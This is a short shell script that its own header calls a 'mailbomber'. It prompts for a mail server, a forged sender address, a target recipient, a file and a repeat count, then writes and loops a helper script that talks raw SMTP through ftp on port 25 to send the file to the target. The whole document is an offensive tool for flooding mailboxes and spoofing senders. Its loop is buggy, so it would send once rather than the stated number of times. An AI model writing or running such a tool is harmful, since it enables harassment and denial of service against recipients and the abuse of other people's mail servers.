#!/bin/sh
#
# Author: Peter Keel <killer@discordia.ch>
# A very stupid mailbomber. Expects a very stupid ftp-client. 
#
echo
echo " Malier - ill behaving mailer"
echo "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
echo
echo -n "Telnet to: "
read machine
echo -n "From: "
read fromwhere
echo -n "To: "
read towhere
echo -n "Filename: "
read filename
echo -n "How many times? "
read howmany
echo
echo "connect to $machine, mail from $fromwhere to $towhere and send $filename $howmany times"
echo 
cat <<EEE > send.sh
#!/bin/sh
ftp -n $machine 25 <<'EOF'
HELO
MAIL FROM: $fromwhere
RCPT TO: $towhere
DATA
EEE
cat <$filename >> send.sh
cat <<EEE >> send.sh
.
QUIT
EOF
EEE
chmod 755 send.sh
for i in $howmany
    do
    ./send.sh
    done
rm send.sh
